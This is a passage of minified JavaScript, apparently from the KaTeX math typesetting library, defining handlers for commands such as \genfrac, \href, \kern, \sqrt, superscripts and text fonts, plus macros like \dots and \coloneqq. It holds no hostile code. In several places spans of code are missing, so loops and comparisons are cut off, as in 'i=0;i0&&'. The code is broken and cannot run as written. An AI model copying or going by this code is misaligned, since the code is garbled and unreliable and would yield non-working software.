u="auto",p=t[3];if("ordgroup"===p.type){if(p.body.length>0){var d=Ft(p.body[0],"textord");u=tn[Number(d.text)]}}else p=Ft(p,"textord"),u=tn[Number(p.text)];return{type:"genfrac",mode:n.mode,numer:a,denom:i,continued:!1,hasBarLine:r,barSize:c,leftDelim:s,rightDelim:h,size:u}},htmlBuilder:Qr,mathmlBuilder:en}),nt({type:"infix",names:["\\above"],props:{numArgs:1,argTypes:["size"],infix:!0},handler:function(e,t){var r=e.parser,n=(e.funcName,e.token);return{type:"infix",mode:r.mode,replaceWith:"\\\\abovefrac",size:Ft(t[0],"size").value,token:n}}}),nt({type:"genfrac",names:["\\\\abovefrac"],props:{numArgs:3,argTypes:["math","size","math"]},handler:function(e,t){var r=e.parser,n=(e.funcName,t[0]),a=function(e){if(!e)throw new Error("Expected non-null, but got "+String(e));return e}(Ft(t[1],"infix").size),i=t[2],o=a.number>0;return{type:"genfrac",mode:r.mode,numer:n,denom:i,continued:!1,hasBarLine:o,barSize:a,leftDelim:null,rightDelim:null,size:"auto"}},htmlBuilder:Qr,mathmlBuilder:en});var nn=function(e,t){var r,n,a=t.style;"supsub"===e.type?(r=e.sup?bt(e.sup,t.havingStyle(a.sup()),t):bt(e.sub,t.havingStyle(a.sub()),t),n=Ft(e.base,"horizBrace")):n=Ft(e,"horizBrace");var i,o=bt(n.base,t.havingBaseStyle(b.DISPLAY)),s=Pt(n,t);if(n.isOver?(i=je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:o},{type:"kern",size:.1},{type:"elem",elem:s}]},t)).children[0].children[0].children[1].classes.push("svg-align"):(i=je.makeVList({positionType:"bottom",positionData:o.depth+.1+s.height,children:[{type:"elem",elem:s},{type:"kern",size:.1},{type:"elem",elem:o}]},t)).children[0].children[0].children[0].classes.push("svg-align"),r){var l=je.makeSpan(["mord",n.isOver?"mover":"munder"],[i],t);i=n.isOver?je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:l},{type:"kern",size:.2},{type:"elem",elem:r}]},t):je.makeVList({positionType:"bottom",positionData:l.depth+.2+r.height+r.depth,children:[{type:"elem",elem:r},{type:"kern",size:.2},{type:"elem",elem:l}]},t)}return je.makeSpan(["mord",n.isOver?"mover":"munder"],[i],t)};nt({type:"horizBrace",names:["\\overbrace","\\underbrace"],props:{numArgs:1},handler:function(e,t){var r=e.parser,n=e.funcName;return{type:"horizBrace",mode:r.mode,label:n,isOver:/^\\over/.test(n),base:t[0]}},htmlBuilder:nn,mathmlBuilder:function(e,t){var r=Dt(e.label);return new Mt.MathNode(e.isOver?"mover":"munder",[qt(e.base,t),r])}}),nt({type:"href",names:["\\href"],props:{numArgs:2,argTypes:["url","original"],allowedInText:!0},handler:function(e,t){var r=e.parser,n=t[1],a=Ft(t[0],"url").url;return r.settings.isTrusted({command:"\\href",url:a})?{type:"href",mode:r.mode,href:a,body:ot(n)}:r.formatUnsupportedCmd("\\href")},htmlBuilder:function(e,t){var r=ut(e.body,t,!1);return je.makeAnchor(e.href,[],r,t)},mathmlBuilder:function(e,t){var r=Nt(e.body,t);return r instanceof kt||(r=new kt("mrow",[r])),r.setAttribute("href",e.href),r}}),nt({type:"href",names:["\\url"],props:{numArgs:1,argTypes:["url"],allowedInText:!0},handler:function(e,t){var r=e.parser,n=Ft(t[0],"url").url;if(!r.settings.isTrusted({command:"\\url",url:n}))return r.formatUnsupportedCmd("\\url");for(var a=[],i=0;i0&&(n=Le(e.totalheight,t)-r,n=Number(n.toFixed(2)));var a=0;e.width.number>0&&(a=Le(e.width,t));var i={height:r+n+"em"};a>0&&(i.width=a+"em"),n>0&&(i.verticalAlign=-n+"em");var o=new C(e.src,e.alt,i);return o.height=r,o.depth=n,o},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mglyph",[]);r.setAttribute("alt",e.alt);var n=Le(e.height,t),a=0;if(e.totalheight.number>0&&(a=(a=Le(e.totalheight,t)-n).toFixed(2),r.setAttribute("valign","-"+a+"em")),r.setAttribute("height",n+a+"em"),e.width.number>0){var i=Le(e.width,t);r.setAttribute("width",i+"em")}return r.setAttribute("src",e.src),r}}),nt({type:"kern",names:["\\kern","\\mkern","\\hskip","\\mskip"],props:{numArgs:1,argTypes:["size"],primitive:!0,allowedInText:!0},handler:function(e,t){var r=e.parser,n=e.funcName,a=Ft(t[0],"size");if(r.settings.strict){var i="m"===n[1],o="mu"===a.value.unit;i?(o||r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" supports only mu units, not "+a.value.unit+" units"),"math"!==r.mode&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" works only in math mode")):o&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" doesn't support mu units")}return{type:"kern",mode:r.mode,dimension:a.value}},htmlBuilder:function(e,t){return je.makeGlue(e.dimension,t)},mathmlBuilder:function(e,t){var r=Le(e.dimension,t);return new Mt.SpaceNode(r)}}),nt({type:"lap",names:["\\mathllap","\\mathrlap","\\mathclap"],props:{numArgs:1,allowedInText:!0},handler:function(e,t){var r=e.parser,n=e.funcName,a=t[0];return{type:"lap",mode:r.mode,alignment:n.slice(5),body:a}},htmlBuilder:function(e,t){var r;"clap"===e.alignment?(r=je.makeSpan([],[bt(e.body,t)]),r=je.makeSpan(["inner"],[r],t)):r=je.makeSpan(["inner"],[bt(e.body,t)]);var n=je.makeSpan(["fix"],[]),a=je.makeSpan([e.alignment],[r,n],t),i=je.makeSpan(["strut"]);return i.style.height=a.height+a.depth+"em",i.style.verticalAlign=-a.depth+"em",a.children.unshift(i),a=je.makeSpan(["thinbox"],[a],t),je.makeSpan(["mord","vbox"],[a],t)},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mpadded",[qt(e.body,t)]);if("rlap"!==e.alignment){var n="llap"===e.alignment?"-1":"-0.5";r.setAttribute("lspace",n+"width")}return r.setAttribute("width","0px"),r}}),nt({type:"styling",names:["\\(","$"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler:function(e,t){var r=e.funcName,n=e.parser,a=n.mode;n.switchMode("math");var i="\\("===r?"\\)":"$",o=n.parseExpression(!1,i);return n.expect(i),n.switchMode(a),{type:"styling",mode:n.mode,style:"text",body:o}}}),nt({type:"text",names:["\\)","\\]"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler:function(e,t){throw new n("Mismatched "+e.funcName)}});var on=function(e,t){switch(t.style.size){case b.DISPLAY.size:return e.display;case b.TEXT.size:return e.text;case b.SCRIPT.size:return e.script;case b.SCRIPTSCRIPT.size:return e.scriptscript;default:return e.text}};nt({type:"mathchoice",names:["\\mathchoice"],props:{numArgs:4,primitive:!0},handler:function(e,t){return{type:"mathchoice",mode:e.parser.mode,display:ot(t[0]),text:ot(t[1]),script:ot(t[2]),scriptscript:ot(t[3])}},htmlBuilder:function(e,t){var r=on(e,t),n=ut(r,t,!1);return je.makeFragment(n)},mathmlBuilder:function(e,t){var r=on(e,t);return Nt(r,t)}});var sn=function(e,t,r,n,a,i,o){e=je.makeSpan([],[e]);var s,h,m,c=r&&l.isCharacterBox(r);if(t){var u=bt(t,n.havingStyle(a.sup()),n);h={elem:u,kern:Math.max(n.fontMetrics().bigOpSpacing1,n.fontMetrics().bigOpSpacing3-u.depth)}}if(r){var p=bt(r,n.havingStyle(a.sub()),n);s={elem:p,kern:Math.max(n.fontMetrics().bigOpSpacing2,n.fontMetrics().bigOpSpacing4-p.height)}}if(h&&s){var d=n.fontMetrics().bigOpSpacing5+s.elem.height+s.elem.depth+s.kern+e.depth+o;m=je.makeVList({positionType:"bottom",positionData:d,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:s.elem,marginLeft:-i+"em"},{type:"kern",size:s.kern},{type:"elem",elem:e},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:i+"em"},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}else if(s){var f=e.height-o;m=je.makeVList({positionType:"top",positionData:f,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:s.elem,marginLeft:-i+"em"},{type:"kern",size:s.kern},{type:"elem",elem:e}]},n)}else{if(!h)return e;var g=e.depth+o;m=je.makeVList({positionType:"bottom",positionData:g,children:[{type:"elem",elem:e},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:i+"em"},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}var v=[m];if(s&&0!==i&&!c){var b=je.makeSpan(["mspace"],[],n);b.style.marginRight=i+"em",v.unshift(b)}return je.makeSpan(["mop","op-limits"],v,n)},ln=["\\smallint"],hn=function(e,t){var r,n,a,i=!1;"supsub"===e.type?(r=e.sup,n=e.sub,a=Ft(e.base,"op"),i=!0):a=Ft(e,"op");var o,s=t.style,h=!1;if(s.size===b.DISPLAY.size&&a.symbol&&!l.contains(ln,a.name)&&(h=!0),a.symbol){var m=h?"Size2-Regular":"Size1-Regular",c="";if("\\oiint"!==a.name&&"\\oiiint"!==a.name||(c=a.name.substr(1),a.name="oiint"===c?"\\iint":"\\iiint"),o=je.makeSymbol(a.name,m,"math",t,["mop","op-symbol",h?"large-op":"small-op"]),c.length>0){var u=o.italic,p=je.staticSvg(c+"Size"+(h?"2":"1"),t);o=je.makeVList({positionType:"individualShift",children:[{type:"elem",elem:o,shift:0},{type:"elem",elem:p,shift:h?.08:0}]},t),a.name="\\"+c,o.classes.unshift("mop"),o.italic=u}}else if(a.body){var d=ut(a.body,t,!0);1===d.length&&d[0]instanceof R?(o=d[0]).classes[0]="mop":o=je.makeSpan(["mop"],d,t)}else{for(var f=[],g=1;g0){for(var s=a.body.map((function(e){var t=e.text;return"string"==typeof t?{type:"textord",mode:e.mode,text:t}:e})),l=ut(s,t.withFont("mathrm"),!0),h=0;h=0?s.setAttribute("height","+"+a+"em"):(s.setAttribute("height",a+"em"),s.setAttribute("depth","+"+-a+"em")),s.setAttribute("voffset",a+"em"),s}});var vn=["\\tiny","\\sixptsize","\\scriptsize","\\footnotesize","\\small","\\normalsize","\\large","\\Large","\\LARGE","\\huge","\\Huge"];nt({type:"sizing",names:vn,props:{numArgs:0,allowedInText:!0},handler:function(e,t){var r=e.breakOnTokenText,n=e.funcName,a=e.parser,i=a.parseExpression(!1,r);return{type:"sizing",mode:a.mode,size:vn.indexOf(n)+1,body:i}},htmlBuilder:function(e,t){var r=t.havingSize(e.size);return gn(e.body,r,t)},mathmlBuilder:function(e,t){var r=t.havingSize(e.size),n=Bt(e.body,r),a=new Mt.MathNode("mstyle",n);return a.setAttribute("mathsize",r.sizeMultiplier+"em"),a}}),nt({type:"smash",names:["\\smash"],props:{numArgs:1,numOptionalArgs:1,allowedInText:!0},handler:function(e,t,r){var n=e.parser,a=!1,i=!1,o=r[0]&&Ft(r[0],"ordgroup");if(o)for(var s="",l=0;lr.height+r.depth+i&&(i=(i+c-r.height-r.depth)/2);var u=l.height-r.height-i-h;r.style.paddingLeft=m+"em";var p=je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:r,wrapperClasses:["svg-align"]},{type:"kern",size:-(r.height+u)},{type:"elem",elem:l},{type:"kern",size:h}]},t);if(e.index){var d=t.havingStyle(b.SCRIPTSCRIPT),f=bt(e.index,d,t),g=.6*(p.height-p.depth),v=je.makeVList({positionType:"shift",positionData:-g,children:[{type:"elem",elem:f}]},t),y=je.makeSpan(["root"],[v]);return je.makeSpan(["mord","sqrt"],[y,p],t)}return je.makeSpan(["mord","sqrt"],[p],t)},mathmlBuilder:function(e,t){var r=e.body,n=e.index;return n?new Mt.MathNode("mroot",[qt(r,t),qt(n,t)]):new Mt.MathNode("msqrt",[qt(r,t)])}});var bn={display:b.DISPLAY,text:b.TEXT,script:b.SCRIPT,scriptscript:b.SCRIPTSCRIPT};nt({type:"styling",names:["\\displaystyle","\\textstyle","\\scriptstyle","\\scriptscriptstyle"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler:function(e,t){var r=e.breakOnTokenText,n=e.funcName,a=e.parser,i=a.parseExpression(!0,r),o=n.slice(1,n.length-5);return{type:"styling",mode:a.mode,style:o,body:i}},htmlBuilder:function(e,t){var r=bn[e.style],n=t.havingStyle(r).withFont("");return gn(e.body,n,t)},mathmlBuilder:function(e,t){var r=bn[e.style],n=t.havingStyle(r),a=Bt(e.body,n),i=new Mt.MathNode("mstyle",a),o={display:["0","true"],text:["0","false"],script:["1","false"],scriptscript:["2","false"]}[e.style];return i.setAttribute("scriptlevel",o[0]),i.setAttribute("displaystyle",o[1]),i}});var yn=function(e,t){var r=e.base;return r?"op"===r.type?r.limits&&(t.style.size===b.DISPLAY.size||r.alwaysHandleSupSub)?hn:null:"operatorname"===r.type?r.alwaysHandleSupSub&&(t.style.size===b.DISPLAY.size||r.limits)?fn:null:"accent"===r.type?l.isCharacterBox(r.base)?Ut:null:"horizBrace"===r.type&&!e.sub===r.isOver?nn:null:null};at({type:"supsub",htmlBuilder:function(e,t){var r=yn(e,t);if(r)return r(e,t);var n,a,i,o=e.base,s=e.sup,h=e.sub,m=bt(o,t),c=t.fontMetrics(),u=0,p=0,d=o&&l.isCharacterBox(o);if(s){var f=t.havingStyle(t.style.sup());n=bt(s,f,t),d||(u=m.height-f.fontMetrics().supDrop*f.sizeMultiplier/t.sizeMultiplier)}if(h){var g=t.havingStyle(t.style.sub());a=bt(h,g,t),d||(p=m.depth+g.fontMetrics().subDrop*g.sizeMultiplier/t.sizeMultiplier)}i=t.style===b.DISPLAY?c.sup1:t.style.cramped?c.sup3:c.sup2;var v,y=t.sizeMultiplier,x=.5/c.ptPerEm/y+"em",w=null;if(a){var k=e.base&&"op"===e.base.type&&e.base.name&&("\\oiint"===e.base.name||"\\oiiint"===e.base.name);(m instanceof R||k)&&(w=-m.italic+"em")}if(n&&a){u=Math.max(u,i,n.depth+.25*c.xHeight),p=Math.max(p,c.sub2);var S=4*c.defaultRuleThickness;if(u-n.depth-(a.height-p)0&&(u+=M,p-=M)}var z=[{type:"elem",elem:a,shift:p,marginRight:x,marginLeft:w},{type:"elem",elem:n,shift:-u,marginRight:x}];v=je.makeVList({positionType:"individualShift",children:z},t)}else if(a){p=Math.max(p,c.sub1,a.height-.8*c.xHeight);var A=[{type:"elem",elem:a,marginLeft:w,marginRight:x}];v=je.makeVList({positionType:"shift",positionData:p,children:A},t)}else{if(!n)throw new Error("supsub must have either sup or sub.");u=Math.max(u,i,n.depth+.25*c.xHeight),v=je.makeVList({positionType:"shift",positionData:-u,children:[{type:"elem",elem:n,marginRight:x}]},t)}var T=gt(m,"right")||"mord";return je.makeSpan([T],[m,je.makeSpan(["msupsub"],[v])],t)},mathmlBuilder:function(e,t){var r,n=!1;e.base&&"horizBrace"===e.base.type&&!!e.sup===e.base.isOver&&(n=!0,r=e.base.isOver),!e.base||"op"!==e.base.type&&"operatorname"!==e.base.type||(e.base.parentIsSupSub=!0);var a,i=[qt(e.base,t)];if(e.sub&&i.push(qt(e.sub,t)),e.sup&&i.push(qt(e.sup,t)),n)a=r?"mover":"munder";else if(e.sub)if(e.sup){var o=e.base;a=o&&"op"===o.type&&o.limits&&t.style===b.DISPLAY||o&&"operatorname"===o.type&&o.alwaysHandleSupSub&&(t.style===b.DISPLAY||o.limits)?"munderover":"msubsup"}else{var s=e.base;a=s&&"op"===s.type&&s.limits&&(t.style===b.DISPLAY||s.alwaysHandleSupSub)||s&&"operatorname"===s.type&&s.alwaysHandleSupSub&&(s.limits||t.style===b.DISPLAY)?"munder":"msub"}else{var l=e.base;a=l&&"op"===l.type&&l.limits&&(t.style===b.DISPLAY||l.alwaysHandleSupSub)||l&&"operatorname"===l.type&&l.alwaysHandleSupSub&&(l.limits||t.style===b.DISPLAY)?"mover":"msup"}return new Mt.MathNode(a,i)}}),at({type:"atom",htmlBuilder:function(e,t){return je.mathsym(e.text,e.mode,t,["m"+e.family])},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mo",[zt(e.text,e.mode)]);if("bin"===e.family){var n=Tt(e,t);"bold-italic"===n&&r.setAttribute("mathvariant",n)}else"punct"===e.family?r.setAttribute("separator","true"):"open"!==e.family&&"close"!==e.family||r.setAttribute("stretchy","false");return r}});var xn={mi:"italic",mn:"normal",mtext:"normal"};at({type:"mathord",htmlBuilder:function(e,t){return je.makeOrd(e,t,"mathord")},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mi",[zt(e.text,e.mode,t)]),n=Tt(e,t)||"italic";return n!==xn[r.type]&&r.setAttribute("mathvariant",n),r}}),at({type:"textord",htmlBuilder:function(e,t){return je.makeOrd(e,t,"textord")},mathmlBuilder:function(e,t){var r,n=zt(e.text,e.mode,t),a=Tt(e,t)||"normal";return r="text"===e.mode?new Mt.MathNode("mtext",[n]):/[0-9]/.test(e.text)?new Mt.MathNode("mn",[n]):"\\prime"===e.text?new Mt.MathNode("mo",[n]):new Mt.MathNode("mi",[n]),a!==xn[r.type]&&r.setAttribute("mathvariant",a),r}});var wn={"\\nobreak":"nobreak","\\allowbreak":"allowbreak"},kn={" ":{},"\\ ":{},"~":{className:"nobreak"},"\\space":{},"\\nobreakspace":{className:"nobreak"}};at({type:"spacing",htmlBuilder:function(e,t){if(kn.hasOwnProperty(e.text)){var r=kn[e.text].className||"";if("text"===e.mode){var a=je.makeOrd(e,t,"textord");return a.classes.push(r),a}return je.makeSpan(["mspace",r],[je.mathsym(e.text,e.mode,t)],t)}if(wn.hasOwnProperty(e.text))return je.makeSpan(["mspace",wn[e.text]],[],t);throw new n('Unknown type of space "'+e.text+'"')},mathmlBuilder:function(e,t){if(!kn.hasOwnProperty(e.text)){if(wn.hasOwnProperty(e.text))return new Mt.MathNode("mspace");throw new n('Unknown type of space "'+e.text+'"')}return new Mt.MathNode("mtext",[new Mt.TextNode("\xa0")])}});var Sn=function(){var e=new Mt.MathNode("mtd",[]);return e.setAttribute("width","50%"),e};at({type:"tag",mathmlBuilder:function(e,t){var r=new Mt.MathNode("mtable",[new Mt.MathNode("mtr",[Sn(),new Mt.MathNode("mtd",[Nt(e.body,t)]),Sn(),new Mt.MathNode("mtd",[Nt(e.tag,t)])])]);return r.setAttribute("width","100%"),r}});var Mn={"\\text":void 0,"\\textrm":"textrm","\\textsf":"textsf","\\texttt":"texttt","\\textnormal":"textrm"},zn={"\\textbf":"textbf","\\textmd":"textmd"},An={"\\textit":"textit","\\textup":"textup"},Tn=function(e,t){var r=e.font;return r?Mn[r]?t.withTextFontFamily(Mn[r]):zn[r]?t.withTextFontWeight(zn[r]):t.withTextFontShape(An[r]):t};nt({type:"text",names:["\\text","\\textrm","\\textsf","\\texttt","\\textnormal","\\textbf","\\textmd","\\textit","\\textup"],props:{numArgs:1,argTypes:["text"],allowedInArgument:!0,allowedInText:!0},handler:function(e,t){var r=e.parser,n=e.funcName,a=t[0];return{type:"text",mode:r.mode,body:ot(a),font:n}},htmlBuilder:function(e,t){var r=Tn(e,t),n=ut(e.body,r,!0);return je.makeSpan(["mord","text"],n,r)},mathmlBuilder:function(e,t){var r=Tn(e,t);return Nt(e.body,r)}}),nt({type:"underline",names:["\\underline"],props:{numArgs:1,allowedInText:!0},handler:function(e,t){return{type:"underline",mode:e.parser.mode,body:t[0]}},htmlBuilder:function(e,t){var r=bt(e.body,t),n=je.makeLineSpan("underline-line",t),a=t.fontMetrics().defaultRuleThickness,i=je.makeVList({positionType:"top",positionData:r.height,children:[{type:"kern",size:a},{type:"elem",elem:n},{type:"kern",size:3*a},{type:"elem",elem:r}]},t);return je.makeSpan(["mord","underline"],[i],t)},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mo",[new Mt.TextNode("\u203e")]);r.setAttribute("stretchy","true");var n=new Mt.MathNode("munder",[qt(e.body,t),r]);return n.setAttribute("accentunder","true"),n}}),nt({type:"vcenter",names:["\\vcenter"],props:{numArgs:1,argTypes:["original"],allowedInText:!1},handler:function(e,t){return{type:"vcenter",mode:e.parser.mode,body:t[0]}},htmlBuilder:function(e,t){var r=bt(e.body,t),n=t.fontMetrics().axisHeight,a=.5*(r.height-n-(r.depth+n));return je.makeVList({positionType:"shift",positionData:a,children:[{type:"elem",elem:r}]},t)},mathmlBuilder:function(e,t){return new Mt.MathNode("mpadded",[qt(e.body,t)],["vcenter"])}}),nt({type:"verb",names:["\\verb"],props:{numArgs:0,allowedInText:!0},handler:function(e,t,r){throw new n("\\verb ended by end of line instead of matching delimiter")},htmlBuilder:function(e,t){for(var r=Bn(e),n=[],a=t.havingStyle(t.style.text()),i=0;i0;)this.endGroup()},t.has=function(e){return this.current.hasOwnProperty(e)||this.builtins.hasOwnProperty(e)},t.get=function(e){return this.current.hasOwnProperty(e)?this.current[e]:this.builtins[e]},t.set=function(e,t,r){if(void 0===r&&(r=!1),r){for(var n=0;n0&&(this.undefStack[this.undefStack.length-1][e]=t)}else{var a=this.undefStack[this.undefStack.length-1];a&&!a.hasOwnProperty(e)&&(a[e]=this.current[e])}this.current[e]=t},e}(),En=pn;dn("\\noexpand",(function(e){var t=e.popToken();return e.isExpandable(t.text)&&(t.noexpand=!0,t.treatAsRelax=!0),{tokens:[t],numArgs:0}})),dn("\\expandafter",(function(e){var t=e.popToken();return e.expandOnce(!0),{tokens:[t],numArgs:0}})),dn("\\@firstoftwo",(function(e){return{tokens:e.consumeArgs(2)[0],numArgs:0}})),dn("\\@secondoftwo",(function(e){return{tokens:e.consumeArgs(2)[1],numArgs:0}})),dn("\\@ifnextchar",(function(e){var t=e.consumeArgs(3);e.consumeSpaces();var r=e.future();return 1===t[0].length&&t[0][0].text===r.text?{tokens:t[1],numArgs:0}:{tokens:t[2],numArgs:0}})),dn("\\@ifstar","\\@ifnextchar *{\\@firstoftwo{#1}}"),dn("\\TextOrMath",(function(e){var t=e.consumeArgs(2);return"text"===e.mode?{tokens:t[0],numArgs:0}:{tokens:t[1],numArgs:0}}));var Hn={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,a:10,A:10,b:11,B:11,c:12,C:12,d:13,D:13,e:14,E:14,f:15,F:15};dn("\\char",(function(e){var t,r=e.popToken(),a="";if("'"===r.text)t=8,r=e.popToken();else if('"'===r.text)t=16,r=e.popToken();else if("`"===r.text)if("\\"===(r=e.popToken()).text[0])a=r.text.charCodeAt(1);else{if("EOF"===r.text)throw new n("\\char` missing argument");a=r.text.charCodeAt(0)}else t=10;if(t){if(null==(a=Hn[r.text])||a>=t)throw new n("Invalid base-"+t+" digit "+r.text);for(var i;null!=(i=Hn[e.future().text])&&i":"\\dotsb","-":"\\dotsb","*":"\\dotsb",":":"\\dotsb","\\DOTSB":"\\dotsb","\\coprod":"\\dotsb","\\bigvee":"\\dotsb","\\bigwedge":"\\dotsb","\\biguplus":"\\dotsb","\\bigcap":"\\dotsb","\\bigcup":"\\dotsb","\\prod":"\\dotsb","\\sum":"\\dotsb","\\bigotimes":"\\dotsb","\\bigoplus":"\\dotsb","\\bigodot":"\\dotsb","\\bigsqcup":"\\dotsb","\\And":"\\dotsb","\\longrightarrow":"\\dotsb","\\Longrightarrow":"\\dotsb","\\longleftarrow":"\\dotsb","\\Longleftarrow":"\\dotsb","\\longleftrightarrow":"\\dotsb","\\Longleftrightarrow":"\\dotsb","\\mapsto":"\\dotsb","\\longmapsto":"\\dotsb","\\hookrightarrow":"\\dotsb","\\doteq":"\\dotsb","\\mathbin":"\\dotsb","\\mathrel":"\\dotsb","\\relbar":"\\dotsb","\\Relbar":"\\dotsb","\\xrightarrow":"\\dotsb","\\xleftarrow":"\\dotsb","\\DOTSI":"\\dotsi","\\int":"\\dotsi","\\oint":"\\dotsi","\\iint":"\\dotsi","\\iiint":"\\dotsi","\\iiiint":"\\dotsi","\\idotsint":"\\dotsi","\\DOTSX":"\\dotsx"};dn("\\dots",(function(e){var t="\\dotso",r=e.expandAfterFuture().text;return r in Dn?t=Dn[r]:("\\not"===r.substr(0,4)||r in X.math&&l.contains(["bin","rel"],X.math[r].group))&&(t="\\dotsb"),t}));var Pn={")":!0,"]":!0,"\\rbrack":!0,"\\}":!0,"\\rbrace":!0,"\\rangle":!0,"\\rceil":!0,"\\rfloor":!0,"\\rgroup":!0,"\\rmoustache":!0,"\\right":!0,"\\bigr":!0,"\\biggr":!0,"\\Bigr":!0,"\\Biggr":!0,$:!0,";":!0,".":!0,",":!0};dn("\\dotso",(function(e){return e.future().text in Pn?"\\ldots\\,":"\\ldots"})),dn("\\dotsc",(function(e){var t=e.future().text;return t in Pn&&","!==t?"\\ldots\\,":"\\ldots"})),dn("\\cdots",(function(e){return e.future().text in Pn?"\\@cdots\\,":"\\@cdots"})),dn("\\dotsb","\\cdots"),dn("\\dotsm","\\cdots"),dn("\\dotsi","\\!\\cdots"),dn("\\dotsx","\\ldots\\,"),dn("\\DOTSI","\\relax"),dn("\\DOTSB","\\relax"),dn("\\DOTSX","\\relax"),dn("\\tmspace","\\TextOrMath{\\kern#1#3}{\\mskip#1#2}\\relax"),dn("\\,","\\tmspace+{3mu}{.1667em}"),dn("\\thinspace","\\,"),dn("\\>","\\mskip{4mu}"),dn("\\:","\\tmspace+{4mu}{.2222em}"),dn("\\medspace","\\:"),dn("\\;","\\tmspace+{5mu}{.2777em}"),dn("\\thickspace","\\;"),dn("\\!","\\tmspace-{3mu}{.1667em}"),dn("\\negthinspace","\\!"),dn("\\negmedspace","\\tmspace-{4mu}{.2222em}"),dn("\\negthickspace","\\tmspace-{5mu}{.277em}"),dn("\\enspace","\\kern.5em "),dn("\\enskip","\\hskip.5em\\relax"),dn("\\quad","\\hskip1em\\relax"),dn("\\qquad","\\hskip2em\\relax"),dn("\\tag","\\@ifstar\\tag@literal\\tag@paren"),dn("\\tag@paren","\\tag@literal{({#1})}"),dn("\\tag@literal",(function(e){if(e.macros.get("\\df@tag"))throw new n("Multiple \\tag");return"\\gdef\\df@tag{\\text{#1}}"})),dn("\\bmod","\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}\\mathbin{\\rm mod}\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}"),dn("\\pod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern8mu}{\\mkern8mu}{\\mkern8mu}(#1)"),dn("\\pmod","\\pod{{\\rm mod}\\mkern6mu#1}"),dn("\\mod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern12mu}{\\mkern12mu}{\\mkern12mu}{\\rm mod}\\,\\,#1"),dn("\\pmb","\\html@mathml{\\@binrel{#1}{\\mathrlap{#1}\\kern0.5px#1}}{\\mathbf{#1}}"),dn("\\newline","\\\\\\relax"),dn("\\TeX","\\textrm{\\html@mathml{T\\kern-.1667em\\raisebox{-.5ex}{E}\\kern-.125emX}{TeX}}");var Fn=D["Main-Regular"]["T".charCodeAt(0)][1]-.7*D["Main-Regular"]["A".charCodeAt(0)][1]+"em";dn("\\LaTeX","\\textrm{\\html@mathml{L\\kern-.36em\\raisebox{"+Fn+"}{\\scriptstyle A}\\kern-.15em\\TeX}{LaTeX}}"),dn("\\KaTeX","\\textrm{\\html@mathml{K\\kern-.17em\\raisebox{"+Fn+"}{\\scriptstyle A}\\kern-.15em\\TeX}{KaTeX}}"),dn("\\hspace","\\@ifstar\\@hspacer\\@hspace"),dn("\\@hspace","\\hskip #1\\relax"),dn("\\@hspacer","\\rule{0pt}{0pt}\\hskip #1\\relax"),dn("\\ordinarycolon",":"),dn("\\vcentcolon","\\mathrel{\\mathop\\ordinarycolon}"),dn("\\dblcolon",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-.9mu}\\vcentcolon}}{\\mathop{\\char"2237}}'),dn("\\coloneqq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2254}}'),dn("\\Coloneqq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2237\\char"3d}}'),dn("\\coloneq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"3a\\char"2212}}'),dn("\\Coloneq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"2237\\char"2212}}'),dn("\\eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2255}}'),dn("\\Eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"3d\\char"2237}}'),dn("\\eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2239}}'),dn("\\Eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"2212\\char"2237}}'),dn("\\colonapprox",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"3a\\char"2248}}'),dn("\\Colonapprox",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"2237\\char"2248}}'),dn("\\colonsim",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"3a\\char"223c}}'),dn("\\Colonsim",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"2237\\char"223c}}'),dn("\u2237","\\dblcolon"),dn("\u2239","\\eqcolon"),dn("\u2254","\\coloneqq"),dn("\u2255","\\eqqcolon"),dn("\u